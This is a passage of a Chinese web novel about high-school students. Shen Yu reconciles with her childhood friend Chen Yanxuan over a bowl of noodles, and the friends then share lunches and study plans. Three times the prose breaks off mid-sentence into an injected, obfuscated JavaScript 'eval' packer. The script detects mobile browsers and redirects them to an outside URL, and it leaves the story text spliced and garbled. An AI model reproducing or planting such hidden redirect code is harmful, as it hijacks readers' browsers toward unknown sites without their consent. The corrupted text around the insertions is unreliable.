毕竟对待素不相识的陌生人也不至于冷言冷语，恨不得离人家十万八千里远吧，更何况他们之间还有一层小时候一起玩过的关系，无论怎样都做不到那地步。 至于为什么讨厌，思来想去，她还是归因为那碗面得罪他了。 * 接下来的几天，因为开学后渐渐步入正轨，各个班的老师都管得严，不太给乱窜去别人班，他们三个班的课程又不一样，是以一天下来除了午休和晚修下课很少有碰面的时候。 陈晏宣不愿意搭理沈寓，孟云凡夹在中间也很难做人，只能不停地端水当和事佬，一会儿和这个聊聊，一会儿和那个聊聊，像个活雨刮器。沈寓想和陈晏宣修复关系，却也不知该如何开口，繁重的课业压在身上，竟然就这么拖过了开学的第一周。 今年的九月一日比较巧，卡在了周中，只上了三天课便到了双休日。 周六这天早上，沈寓正在房间里做着练习题，放在旁边支架上的手机正显示和章知之的视频通话。 另一个画面里的少女正敷着面膜，口齿不清道，“寓寓，我这怎么每次给你打电话你都在写作业？实验也太忙了吧。” 不知道什么时候，沈寓也无师自通，学会了陆婷婷那一心二用的一套。她边用笔在英语阅读上画横线，边回复，“这边的人都太厉害了，不努力些我下个学期真被踢出重点班了。” 章知之仰天长叹，“果然是同榆，太卷了。连你去都要被踢出重点班，那我去不是直接给我扫地出门了。” 题文同序，大略浏览完，沈寓在最后两道选择题勾选出答案，随后将笔一丢，身子瘫在椅背上，手顺道拿起手机贴在耳旁，“我们下个月期中考试，为我祈福吧。” “阿弥陀佛阿弥陀佛，善哉善哉，佑施主得名师相辅，顺利高分通过期中考试。” 沈寓被逗笑。 章知之用手按着面膜，让水分吸收得更完全些，忽然想到她们昨天的聊天内容，“对了，你不是说有个之前跟你玩得不错的朋友老是不理你吗？现在怎么样了？” 沈寓叹道：“唉别提了，人见到我跟见着鬼一样，恨不得绕道走。” 章知之不由有些为沈寓打抱不平，“不是吧，这人气性也太大了吧，就一碗面而已，至于吗？还以前好朋友呢。” “那你想好怎么办了吗？我看要不然……” 门外忽然传来的一阵敲门声打断了二人谈话—— “宝宝，你让妈妈买的食材妈全给你放厨房了啊，你待会看看齐了没。” “好。” 沈寓一头回应着孟梧女士，一头对着视频狡黠笑道。 “这不，说曹操曹操到，我的救星来了。” 从哪里跌倒就从哪里爬起来。 沈寓的和解方案就是—— 重新为这位好兄弟亲自做一碗云吞面。 虽然味道不一定比得上老王店里的，但至少真心实意，饱含了她真挚的歉意，让他感受到她的悔而悟之，难而过之，叹而息之。 当然，最重要的还是让他知道她真心想和好的诚意。 看着教程，一路坎坷，九九八十一难但最终也是磕磕绊绊把面做出来了。 见女儿将做好的面精心装进打包盒，孟梧手撑在流理台上，心里默默在思考这面到底能不能吃以及吃的那个人到底能不能消受。 这几天和女儿聊天，她才知道几个孩子之间竟然这么有缘分，刚回来就遇到而且还在一个学校，那担心女儿上高中会和人合不来而悬着的的心一下就放了下来。 沈寓没把做面的原因告诉孟梧，所以孟梧只当是朋友之间的互送礼物。 虽然这礼物……未免有些太接地气，但毕竟是小孩子之间的事情，她也不想干涉太多。 “这面是送给之前的小陈的？怎么不再做一碗给小孟送过去。” “孟云凡？他那人嘴挑得很，我做的东西估计入不了他的眼。”沈寓提着面，正在门口处单手穿着鞋，“不跟你说了妈，我先出门了。” 孟云凡虽然吃得多，但嘴挑也确实是事实，小学的时候一起吃饭，不吃这个要吃那个的少爷劲，逢人见了都想给他丢出去。 伴随着实木门‘砰’的一声闭上，沈寓的电话也已经打到孟云凡那头。 “喂饭桶？定位发我，我准备出门了。” 沈寓提前找孟云凡要了陈晏宣家里地址，打算先斩后奏，不然生怕那位不给她进家门。 前脚刚说完，后脚孟云凡定位就利索地发了过来。顺着孟云凡给的定位，沈寓一路摸到了陈晏宣他家。 同榆党校小区。 距离实验很近，大概就离了个一公里。 小区里的楼房有些年头了，走过去遇到的住户大多都是中老年人。环境清幽宜人，绿化做得很好，感觉这地方特别适合养老。 走到八栋前，这是沈寓心里头最直观的感受。 怎么会住在这？是住爷爷奶奶家吗？ 虽然小时候仨人总在一起玩，但沈寓其实对陈晏宣的背景，家事一概不知。陈晏宣没透露过，而那个年纪的沈寓也没什么关于这方面的探知欲。 她唯一清楚的是没怎么见过陈晏宣父母，就连家长会都没见他们露面过几次。 在她的印象里，陈晏宣除了和他们在一起，其他时候都是独来独往。 单打独斗的，像个英雄。 电梯带着沈寓还没整理好的思绪逐渐升到六楼，直到开门声响起才将沈寓拉回现实。她转身去了右边的楼道，停留在一户门口上的“福”字有些老旧，甚至有些褪色的人家前。 八栋六零二。 沈寓仔细对了对门牌号，确定没走错。 她手上在给孟云凡发微信，“消息保真？家里应该没别人吧。” 去别人家里遇到家长，怎么说都是一件很尴尬的事情。 “包的包的，我办事，你放心。” 吃了定心丸，沈寓这才呼出一口气。 她先偷偷摸摸猫在角落里，然后掐着嗓子不断调整声位来变化声线。 待调整到满意的声音，这才走到门前，轻轻敲响门。 “你好，你的外卖！” 孟云凡那边应该已经替她作好了铺垫，借口说给陈晏宣点了份外卖，接下来她只需要自由发挥就好。 等了几十秒，门里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许久，正当沈寓想说些什么找补一下的时候，对面终于传来一道声音。 少年宽松的家居服坠在身上，此刻正低垂着头看向她 “都说了送外卖呀。” 沈寓嘻嘻一笑，从背后将藏着的面捞到陈晏宣面前，稀世珍宝般捧给他看。 “当当！我做的面！” “给你重新做了一碗，别生气了呗小晏子。” 少女眸子明净澄澈，忽然拉近就这么笑意盈盈地凑在陈晏宣跟前。 “和好吧，别不理我了。我当时真的不是故意的，当时店里就我一个人，我刚进来那碗面就摆在跟前，咱俩还这么默契点了一样的，认错也是情有可原的嘛，你就原谅我呗，好不好？” 阳光照在他们身上，衣服都热得有些发烫。耀目得如同跨越八年的时光间隙，同时洒向八年前的两个小孩身上。 与现在一如既往的和好说辞，灌满耳廓。 -“陈晏宣，别生气了，男子汉大丈夫怎么能这么小心眼！我又不是故意拿你橡皮擦的，我刚跟你说了的，是你没听到。” －“哎呀小晏子，我错了嘛，我真的不是故意的。” -“现在给你十分钟，不许不理我了。” …… 这么多年了，话术还是一成不变。 陈晏宣眸光微动，眼底掠过一抹不易察觉的情绪。 过了很久，久到沈寓快维持不住面上表情的时候，少年终于不冷不热地扯出一句。 “进来吧。” 9. 和好. 进来，吧？ 听到这话的沈寓受宠若惊，不可置信地望向陈晏宣，惊喜道，“真的假的？” “不进？不进算了。”他眼睛淡淡一瞥，作势要将门关上，刚刚还在门口的沈寓顿时如游鱼一般灵活地钻进去了，没给他反悔的机会。 “喂你这人，谁说我不进了？你怎么乱曲解人家意思呢。” 孟云凡消息没错，陈晏宣家里确实只有他一个人。 准确来说，像是长时间以来一直只有他一个人。 玄关处的鞋柜下没什么常用摆放的鞋，沈寓见陈晏宣翻找了很久，才总算从里面翻出一双稍微有些旧的女士拖鞋。 鞋子上有点积灰，陈晏宣单膝蹲在地上拍打了会儿，才丢给沈寓换上。 “有点旧了，将就穿一下。” 能进来已经谢天谢地了，沈寓才不嫌弃，接过鞋换上后便跟着陈晏宣来到客厅。 房间是标准的三室两厅的构造，客厅连着阳台。因为主人没睡醒，家里的帘子都是关着的，外面的阳光偷着厚重的纱帘透进来，光影交错，一时间竟让光天化日之下蒙上一层诡异的暧昧氛围。 “叔叔阿姨不在？” 到底是很久没玩了，沈寓没办法做到如此自来熟，只能假装自然道。 对陈晏宣家庭关系心里她纵有猜测，可也不想表现得如此明显，思来想去最后装作初来乍到的随口一问。 陈晏宣走过去拉开帘子，一时间天光大亮。 口中回答得也坦荡，没有想瞒她的意思，“不知道，很久没见过他们了。” “……”沈寓蓦然一哽，不太想将这个话题继续下去。话锋一转，翻过篇去，“那你呢，吃饭没？饿不饿？” 她将手中饭盒放在茶几上，满脸期待地望向陈晏宣，旁敲侧击示意他多看看自己做的面。 陈晏宣靠着玻璃纱窗，上下打量了会儿饭盒，眉梢轻挑，“这，能吃？” 过一会儿又补充了一句：“吃死了你负责？” “……” 沈寓真觉得八年不见，陈晏宣这嘴毒的功力是欲渐深厚了。 “我负责，我负责行了吧。” 那点刚刚觉得不自在的氛围因为两人的互呛此刻已然消失不见，嘴上不饶人，可沈寓却因此更自得了些，说的话也没像刚刚这么拘谨。 一时都忘了人家还讨厌她。 * 令沈寓意外的是，陈晏宣确实是这个点刚醒。 人去洗漱的功夫，她闲得无聊，隔着老远喊人征得对方同意后便打开了电视。等陈晏宣从厕所出来的时候，她正抱着沙发抱枕看跑男看得直乐。 没骨头似的半个身子瘫在沙发上，一点没有来人家家作客的自觉。 “……”陈晏宣捡起掉落的枕头，淡淡瞥了她一眼，“你来别人家都这样？” 沈寓听到他的声音，才意识到他出来了，连忙正襟危坐，将电视按了暂停，“你洗好了啊？” 看上头了，差点忘了这是别人家了。 她将早已接好的一杯温水递过去，“呐，你先喝杯水吧，刚起床不能直接吃东西。” 陈晏宣看了一眼，随后接过，“谢谢。” “地址孟云凡告诉你的？”他坐到了沙发另一侧的单座，“你今天来，就为了送面？” 直入主题，没给沈寓一点想再寒暄寒暄的机会。 沈寓道：“算是吧。” 两个问题，也不知道回答得哪一句。 “我怕你因为那面的事情不理我，就想着重新给你做一碗，以表歉意。”沈寓乖乖交代，和盘托出心底的疑问，“话说，陈晏宣，你是不是真把我忘了？” 这个问题在心里盘旋了好久，不问出来总觉得心中像卡了刺一般不得劲。 “虽然我们刚见面的时候我没意识到是你，但你讲了几句话后我马上就认出来了。”沈寓讲着讲着就变成诉苦了，“结果你都见我好几面了，甚至孟云凡都直接告诉你我是谁了你还没有想起我。” 她继续说道：“我的变化有这么大吗？就算变化大，听到我的名字也应该有印象吧，你看孟云凡都记得我！可是咱俩之前玩得还更久一点呢，以前还一起吃饭，一起午睡，还一起在保安室爷爷那边写作业……” 字里行间都是一桩桩一件件的过往，被她描述得历历如绘，像是企图通过这些来唤醒对面的良知。 话头一旦扯开就收不住，明明来意是给别人道歉，到最后却是变成将这些天的委屈一股脑地全倾泻出来了。 “结果你最后竟然把我忘了！竟然、把我、忘了！”她讲着讲着激动了，手跟着动作一直在晃，像是至今回忆起来仍是觉得不可思议。 “……” 沈寓就跟个机关枪一样输出，房间里充斥着的都是她的声音。待讲完后声音戛然而止，耳朵竟莫名有些不适应这样的清净。 对面的少年就这样盯着她讲完，话罢又等了一会儿还没动静，这才问出口。 “说完了？” 沈寓怔了怔，但还没有从刚刚的情绪脱离出来，瘪着嘴道，“差不多了。” 完了。 说脱了，这人不会下一秒给她丢出门外了吧。 “沈寓。” 果不其然，下一秒传来的话印证了她的猜测。 “你确定是来找我道歉的，不是来讨伐我的？” 被喊大名的支配感让她本来就没敢看他的眼睛更是低得没边，她在盘算着怎样被赶出门会更合适一点。 只要不要像抓鸡仔一样给她揪着衣领扔出去就不算丢面儿。 话茬丢过去她没接，对方便也没了动静。 周遭顿时宛若死水一般沉寂。 见陈晏宣不说话，沈寓只能默默道：“我……不好意思啊。” “我只是觉得你和别人关系都很好，咱俩之前的交情那么深，总觉得……” 总觉得我们之间不应该发展成这样。 像、仇人一样。 至少，朋友还是可以做的吧。应该…？ 听不见答复，沈寓以为他真的生气了，正在心中默默祈祷着要不他能留点时间让自己识相地出去。 谁料旁边的声音忽然又响起来。 陈晏宣说：“我和谁关系好了？” “……” 没想到是问的是这句话，沈寓有些愣，不知所以，“啊？…哦，就是……” 沈寓脑子里联想到的第一个画面是柯苓在门口喊陈晏宣，但她不知道以两人现在的关系怎么说出口，因为好像没那个资格。 便含糊道，“反正就是感觉你和其他人关系都挺好的。” 就是对我冷冰冰的。 “所以我就落差挺大的。”沈寓缩了缩脖子，闷声道：“我从临昱回来的时候，刚到同榆，就想起你们了，还想着能不能有缘分见个面。好不容易我们竟然能再续前缘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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很久都没声音，沈寓本想起身把迎着面的空调档往上打打，忽然听见旁边传来了一道极轻的声音。 她没听清，下意识抬头，“啊？” 男生声音有些哑，即使刚刚喝了水好像也没有将喉咙润透几分。 声线被蒙上一层雾气，低低沉沉。 沈寓听见他说：“你刚刚说，要和我重新做朋友？” 刚刚说的是这句话吗？ 来不及思索，沈寓张了张嘴，应道，“嗯嗯！” “……就用面来换？” 陈晏宣尾调微微上扬，带着些散漫。 “对…”沈寓下意识点头，反应过来后又连忙摇头，“不对不对，肯定不是只有面啊！你要是和我重新做朋友，我肯定会尽心尽力对你好，就像当年一样，谁欺负你我就挡你前面。” “但是你要是不跟我做朋友，我也会对你好……” 对面穿着黑色睡衣的少年，侧着头正懒洋洋地靠着沙发椅背，闻言胸腔有些起伏，唇角微微弯了起来。 阳光照在他脸上好看得过分。 沈寓不知道自己是不是看错了，感觉陈晏宣在笑她。 这是时隔八年重逢后她第一次在陈晏宣脸上看见笑意。 其实小时候的陈晏宣也不爱笑，但沈寓总喜欢抓住一切机会逗他。冷冰冰的冰山脸一旦冰雪初融，眉眼舒展开来，便将凌厉的五官柔化了几分，清风霁月般好看。 久别重逢总是有这样的魔力，不知不觉就会将眼前人与多年前融为一体，就像于沙漠中看见海市蜃楼，明明知道物是人非，却还是忍不住陷进去。 等沈寓从怔愣中回过神来，才不禁开始反思是不是自己刚刚说的话太中二了。 却听见他说：“好，重新做朋友。” 10. 台球. “？” 沈寓没想过他会答应得这么轻易，听到这话时垂死沙发惊坐起，连问了好几句是不是真的假的，直到对面的人被问得不耐烦，说再问就不和好了，这才闭上了嘴。 她就这么美滋滋地看着陈晏宣吃完了面，然后美滋滋地回了家，最后美滋滋地把这个天大的好消息告诉孟云凡。 “饭桶饭桶，急报——” “我和陈晏宣和好了！！！哈哈哈哈哈哈哈……” “我就说他是因为面生气的吧，当本大王将精心做好的面送到他家，又放出了回忆大招，他终于！愿意和我和好了。” “我说什么来着，真诚最打动人心，本大王就是这样的典范。当然，最主要的还是我们当初情谊真，哥俩好，这就叫，真正的兄弟！” “……” 孟云凡刚睡醒，就看到了微信上沈寓的连环轰炸。 自从两人把这微信加上后，每天的红点就没断过，但当看到这么多消息，还是下意识头皮一麻，还以为发生什么事了，点进去一看才知道原来是两人终于和好了。 粒粒皆辛苦：牛逼！你是这个（大拇指） 粒粒皆辛苦：我现在给你改备注，就叫沈芋头——能把晏子征服的人。 他真心为两个好兄弟终于和好感到高兴，但等想到自己下午要经历什么的时候，还是不由得身子一哆嗦，内心哀叹。 算了，为了好兄弟，两肋插刀是值得的，嗯。 * 下午老王店里。 老王看着台球厅里来来回回走动的孟云凡，不耐烦地啧了一声，“你小子下午来我店里是来给我表演走路的？” 老王平常除了开个面馆，跟上下学的学生唠嗑乐呵乐呵，还有个喜欢打台球的乐趣。是以二楼有个小台球厅，闲来无事便揪着人学生切磋一两局。 只不过他老喜欢嫌对手技术不好，结束一盘后就当众点评起来。一来二去慢慢就没人愿意跟他打了，也就陈晏宣和孟云凡偶尔会来陪他。 孟云凡看着手机聊天界面，只有一团黑色的聊天头像留下最后一句话，“你给我等着。” 越看他就心越难安，手中拿着巧克粉往球杆头上抹，恨不得给人杆子抹秃噜皮了。 “……”老王看着自己的球杆被这么折磨，心疼却也无可奈何，只能兀自摇摇头然后走开，走前只有一个要求，“别给我杆子搞坏了。” 孟云凡半个身子瘫在台球桌上，有气无力道，“老王头你还是多心疼心疼我吧，可能我比你的杆子先走。” 老王说：“你又惹陈晏宣那小子啥了？” 孟云凡有苦难言，“我那是……” “那是什么？” 台球厅的门被人打开，传来另一道声音。 陈晏宣走了进来，冷着脸，手里还拿着两听冰汽水，将其中一瓶丢给台球桌上半死不活的孟云凡，人走到卡座上坐下。 老王很识相地先走开了，“你俩慢慢聊，我去楼下做饭去了。既然来了就别走了，今晚留下来陪我吃个饭。” 台球厅的门重新被掩上，房间里只剩下他们两个人。 “……” 孟云凡做足了心理准备，这才转过头来强颜欢笑道，“小晏子你真好，还记得给我带汽水，我就知道你对我最好了。” 小晏子这个称呼他还是从沈寓那边学来的，本来他平常都是喊老陈。 到底这称呼是小时候叫的，还谐音燕子，难免有些幼稚，这会儿他又跟着改口，两个大男人之间叫这种，难免膈应。 陈晏宣满脸黑线强忍道，“…闭嘴。” “地址你给的？” 孟云凡就知道他要问这个。 他扭开汽水灌了一口，这才支支吾吾道，“哎呀，我这不是为了你俩嘛。你看看你们俩在学校里每天那苦大仇深的样子，多大点事啊闹成这样，我每天夹在你俩中间都不知道怎么做人。” “再说我这不是提前知会了你一声嘛……” 他说完小心翼翼地觑了一眼陈晏宣，只见对方冷笑了一声，“真有你的，我他妈当时刚睡醒。” 陈晏宣今早起床是被孟云凡的消息声闹醒的，刚看到沈寓来找他的消息下一秒房门就被人敲响了，他胡乱找了套睡衣套上后才去开的门。 “不对啊，芋头去找你的时候都快中午了，你怎么才刚醒？”孟云凡疑惑道，“你昨晚偷鸡摸狗去了啊？” “有点事。”陈晏宣拧开汽水瓶盖，气泡争先恐后地往上冒，有些溅到了脸上，他抹掉后道，“孟云凡，你下次再把我地址胡乱给人，你就死给我了。” 孟云凡无所谓地摆摆手，“唉，芋头是自己人，不是别人。要是是别人找我要，我肯定不会给的。” “兄弟这点还是做得到的。” 根据多年和他相处的情谊，陈晏宣应该没有太生他的气，孟云凡心下一松。 他将台球桌上的三角架移开，讨好地问道，“哎呀别生气了，来，打一把？” 陈晏宣斜了他一眼，但还是站起身从旁边架子上拿了一根杆子，陪他开局。 孟云凡拿着冲杆打了个漂亮的开局球，本聚起来的球被打散向球桌四面八方。他边欣赏自己的球边问道，“要我说，你这也太小心眼了吧，真为了一碗面和芋头生气啊。当时芋头和我说起这事，我还不信呢。结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138932|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人给你送完面，你还真愿意和好了。” “咱男子汉大丈夫，得大度点，虽然芋头也是咱兄弟，但她毕竟也一女孩。” “……” 陈晏宣盯着球，没作声。过了会儿才对准母球将一花色球击出，准头很准，伴随着击打声，球也顺利落网。 孟云凡接着道，“还有，你真把芋头忘了啊？我怎么这么不相信。小时候你俩玩得更好我又不是不知道。” “我记得之前有次下大雨吧，芋头家里没人来接，保安大爷六点钟就走了，你硬是陪她等到了晚上九点多钟。你那次还淋着雨回去，发了高烧，被孙阿姨骂得可惨。” 他口中的孙阿姨，是孙言，陈晏宣的妈妈。 这件事之所以会在他心里留下这么深的印象，还是因为陈晏宣那一回生病挺严重的，连发了两天的高烧，最后挂了急诊去医院挂水，孙阿姨为此还发了好大的脾气。 结果当时陈晏宣却让他瞒着，不给告诉沈寓。 “还有三年级的时候，芋头一声不吭地就转走了，你心情好像也好不到哪里去吧。好像当时开学考还弃考了？” “当时芋头在门口认出我俩后，我一听芋头这名字，还想说不会吧，怎么能这么巧。后面等她一说完，我马上就把她认出来了。”孟云凡颇觉自豪，“结果我都鬼哭狼嚎成这样了，你竟然还没一点动静。” “不怪芋头伤心，换我多年后和兄弟重逢，兄弟不认得我了我也难过。” 桌上的花色球逐渐见少，直到最后一个黑八，被陈晏宣以斜对角击入球网，一局结束。 陈晏宣盯着清空的桌面，黑色的眸子依旧冷冷清清的，没什么情绪。 平静的湖面被一席话扰动惊起一层浅浅的波澜，而后又很快恢复它应有的平静。 过了会儿孟云凡听见陈晏宣说，“太久了，忘了。” 也不知道忘的是事还是人。 孟云凡也懒得纠结这些，毕竟也是过了八年，时间确实有些久远。只要他两个兄弟和好就行，这样他就不用再当人形雨刮器了。 朋友嘛，纵使分开过，但从什么时候开始都不晚。 他把杆子放回框架上，走过去揽住陈晏宣肩膀，边走边道，“对对对，你什么都有理由。” “你说还真是可惜，你还记得我跟你说的吗？当时芋头是因为她父母工作原因才被送回去的，要是没有这档子事，咱仨没准还真能一起玩到现在。” “唉，错过错过。”孟云凡颇为可惜地摇摇头，“但没事，老天待咱不薄，至少现在还能再续前缘。” 他倒是乐观，“算了不提了，走吧走吧，老王还在等吃饭呢。” 11. 小灶. 仨人说是和好如初，但其实和原来相比也没多大变化，就是陈晏宣没再走这么快，会多等等他们，并肩而行罢了。 主要是沈寓和孟云凡两人带动气氛，说说笑笑，打打闹闹，时不时还挑逗一下旁边那有时候嫌他们幼稚懒得理他们的人。 慢慢的磨合中，相处也变得更为自得起来。渐渐的，竟还真有点找回当初的感觉， 周四中午，等沈寓解完最后一道物理题，班级里已经没什么人了。 她脑子里还回忆着刚刚的解题步骤，走到门口，才发现陈晏宣站在他们班级门口。 他站在侧边，沈寓一转弯险些撞进他怀里，头顶笼罩着一片阴影，反应过来的沈寓抬头，看到是他，心中的防备放下，“耶？你们下课了啊？” 一二班向来是年级拖堂重灾区，两个班之间不是今天你比我慢，就是明天我比你慢。给二班上物理课的是个快要退休的小老头，听说是省里特级名师，带出了不少物理单科状元。 只是不知道是不是年纪到了一定阶段，讲话就开始变得轻声细语，不紧不慢起来，等意识到自己讲慢了，就又要占用一点下课的时间把进度拉回来。 今天这堂课至少拖了十分钟，再等沈寓啃完那道有些纠结的题，已经差不多距离下课二十分钟了。只是她没有什么时间观念，还没意识到午休时间已经过半了。 “刚下。”陈晏宣点了点头。 看到沈寓左顾右盼寻找人的样子，知道她是在找孟云凡，提醒道，“孟云凡他们班今天最后一节课是体育课，他已经溜出去吃饭了。” “今天带你开个小灶，去老王那吃，去不去？” 沈寓闻言顿时眉开眼笑，“去！那肯定去啊！” 她知道陈晏宣孟云凡两人似乎和老王关系匪浅，自从她加进来后，原本承包的两人午饭就顺带把她也带上了，变成了三个，只是他们平常都是只能吃到“外卖”。 老王的店在学生中异常受欢迎，每天都有许多人光顾，他们这些晚下课的自然抢不到。只能去店里开后门拿了打包的，然后溜回学校吃。 去店里光明正大地开小灶，这是第一次。 应该是多亏了今天上体育课的孟云凡。 * 孟云凡的位置选在了二楼靠窗的那边，他们进去要经过拥挤的排队人群。 从人潮中挤出，终于得以喘息，呼吸到新鲜空气的沈寓那一瞬间觉得世界都清明了。 沈寓边走边嘟囔着说：“这老王店里卖这么贵，怎么还有这么多人愿意来被宰？” 当初那一碗五十块钱的云吞面她可是还惦记着。 她手中揪着陈晏宣的衣角，刚刚太拥挤，她怕走散了才扯上的，这会儿忘了松开。 陈晏宣走在前面带路，淡道：“被宰的只有你。” “？什么意思？” 上了二楼，一眼便能看到孟云凡边啃着个大鸡腿边往嘴里埋饭。 看得出来老王这次是下血本了，相较其他桌子，他们的菜摆的最多。 “你没发现你当时来的时候没几个人吗？”陈晏宣带着沈寓走到桌子前，口中话还在继续，“那是因为他只有在放假的时候才宰客，开学的时候价格便会降下来。” 用实验学生的话来说，老王的店就是物美价廉。 老王面馆在实验是有口碑的，正因为一届届的毕业生口口相传，上学的午饭期间客流量才会这么大。 沈寓：“……” 敢情这冤大头只有她当了呗。 陈晏宣拉开椅子坐下，下巴点了点那桌子菜：“不过你现在可以尽量吃回本来。” 他们那桌是两排座位对着的，见陈晏宣去了孟云凡对面的，沈寓也自然而然顺势坐在了旁边。 造就了孟云凡一人对二人的局面。 “啥？什么宰客？”孟云凡嘴里扒着饭，没听清他们说什么，却在看到他们坐的位置时大声喊道：“什么东西？你俩和好后就孤立我？” 沈寓被吓一跳，愣了会儿反应过来孟云凡意思，顿时无语道：“啥玩意就孤立不孤立的，都哥们儿，谈这词俗不俗气。我坐哪里不是孤立另一个？要不你俩坐一块儿，我一个人坐这？这总不孤立了吧。” “不管了不管了，兄弟们我先吃为敬了。” 沈寓将外套脱下随便甩在了后面椅子，势必要将那五十块钱吃回本。 两人在这边上演着吃饭生死时速，另外一个人看着他们，也不知道是不是嫌他们太丢脸，默默把椅子往外拉开了点。 好像离他们远点就不会被归入傻子这一行列一样。 吃到后面，孟云凡想起什么，忽然道，“对了，你们班主任和你们说了吗？这个月底有一次年级模拟测验，好像是为了下个月的联考做准备。” 同榆的名校圈约定俗成，期中期末参与全市联考，不怎么参与全省联考。 毕竟他们的水平就摆在那，每年中考各个市县的尖子生都是削尖了脑袋往同榆那几个学校挤，生源优质，自然高考名次的头部都集中在同榆，参与全省联考没什么悬念，也没什么意义。 而全市联考的名次能一定程度上反映学校学生的水平，因此年级都会格外重视期中期末考。 之所以把跨省转校生是否留在重点班的评定标准放在这，也是有这一层考虑在。 “好像今早早读完开班会的时候有说过。”沈寓回忆了会儿后道。 孟云凡说：“我靠我跟你们说，我完蛋了，我那个啥政治历史都没背，月底测验完我包被老师叫去办公室训的！” “真不是我说，我觉得高一就是最狗屎的一个阶段，就不能直接选好组合让我们上吗？反正上了高二都是要选的，早分流晚分流不是一样的？我就是天生学不来文科啊，让我天天看一堆文字，记一大堆东西，还不如让我死了算了。” “我孟云凡，天生就是为理科而生的……放我回我的快乐老家。” 沈寓嘴里边嗦着面边听孟云凡吐槽，“我不发言，因为我还没想好选什么。” 她确实是没想好，因为她不是传统的擅长理科或者擅长文科。 她算是…通才？ 也不知道能不能这么说。 沈寓在文科理科都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138933|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有擅长的科目，组合起来就特别诡异，文不文理不理的。 孟云凡道：“没想好？那你喜欢什么？” “政治？化学？”沈寓思索了会儿后回答。 这两门算是她比较感兴趣的，其他的还没想好。 选了两个必选项，她又排除了一个必否项，“反正不会选物理，这玩意学了脑壳疼。” “物理？这老陈擅长啊！”孟云凡像是忽然发现了什么，“他初中在一中拿了不少奖。实在不行你也可以问我，兄弟我物理成绩也还是可以看的过去的。” “行，我有不会的题就去问你们。” 孟云凡旋即转头看向陈晏宣，“怎么样老陈！带一个也是带，带三个也是带，把我们也带上呗。” “……” 陈晏宣正在喝汤，闻言眉毛微蹙，“哪来的三个？” “柯苓啊。”孟云凡见他这反应感到莫名，“你们班主任叫你过去不是让你多帮助一下人家吗？” “对哦。” 沈寓也想起来这回事，“那算了，三个人工程量是不是有点大，别到时候把你学习耽误了。我也就有些步骤不太明白，到时候问问你们就行了。” “那倒也不至于。”似乎是喝完了汤，陈晏宣将手中的汤勺放下，手撑在下巴上看向他们，闲闲地补充，“教你们还是绰绰有余的。” 一股子傲气。 也不知道是不是这些天的感情培养回来了，沈寓现在都敢直接翻白眼了，“是是是，您最牛了。” 孟云凡也在旁边一唱一和，“谁牛得过你啊？” 倒是没想到今天不仅午饭开了小灶，学习好像也开上小灶了。 由于今天时间紧，仨人吃完后也没有再闲聊，匆匆便往学校赶。 等沈寓回到教室时，忽然看见陆婷婷坐在位子上，正一脸审视地看向她。 “？” 沈寓拉开位置上的椅子坐下问道，“怎么了？发生啥事了？” 怎么一副她背着她干了什么亏心事然后被抓包的样子。 陆婷婷上下扫视了一圈沈寓，然后身子逼近直勾勾地盯着她，“沈寓寓，说！你和陈晏宣什么关系！” 经过一周的相处，两人作为同桌，近水楼台，关系不自觉拉近，从对彼此的称呼中就可以窥见一二。 沈寓名字是两个字，陆婷婷不知道怎么叫得亲近些，就喊她名字最后一个字的叠字，说两人这是同款同桌名，沈寓也任由着她叫。 因为刚吃完午饭正有些渴，沈寓掏出水杯正喝着水，听到这话差点被呛到，“咳咳……什么什么关系？” 陆婷婷以“老实交代”的语气道：“别装，我今天去吃饭的时候都看到你们坐在一起了。” 沈寓蓦然想起来今天那位置靠窗，从下面路过估计可以看见他们。 她今天和陈晏宣坐在一块，估计是让人给误会了。 她一脸无语地掰开陆婷婷八卦的脸，无奈道：“你这脑子能不能想点桃色新闻以外的事？没看到我们对面还坐着一个人吗？” 孟云凡那么大一个人呢？去哪了？ 12. 理想型. “原来是这样，那你们很早就认识了啊……” 陆婷婷若有所思地点点头。 最后休息的二十分钟，为了满足陆婷婷那摆不脱的好奇心，沈寓只能长话短说地大概解释了一下他们三个之间的关系。 终于说完今天中午的乌龙事件，正当沈寓打了个哈欠，以为终于可以休息的时候，化学老师的声音已然从门外传来，“来来来，同学们，上化学课了！” “……”沈寓认命般睁开想要闭上的眼，幽怨地朝陆婷婷看去：“陆婷婷！赔我睡觉时间。” 幸好这段时间慢慢适应，课间休息一下便能将精气神补回来，没有像刚来那样只要不睡就困倒整个下午。 但陆婷婷还是见缝插针地抓住一切机会继续和沈寓聊着，看见沈寓闲下来就探头过去。 陆婷婷道：“那你怎么刚来的时候骗我！说你跟他不认识。” 想起之前因为和陈晏宣关系还没缓和，她随口胡诌的话，沈寓心虚地摸了摸鼻子，为当初的自己圆回来，“这不是刚回来，怕人家不记得我了吗？要是我说跟人家很熟，人家不认怎么办？我多丢面啊？” 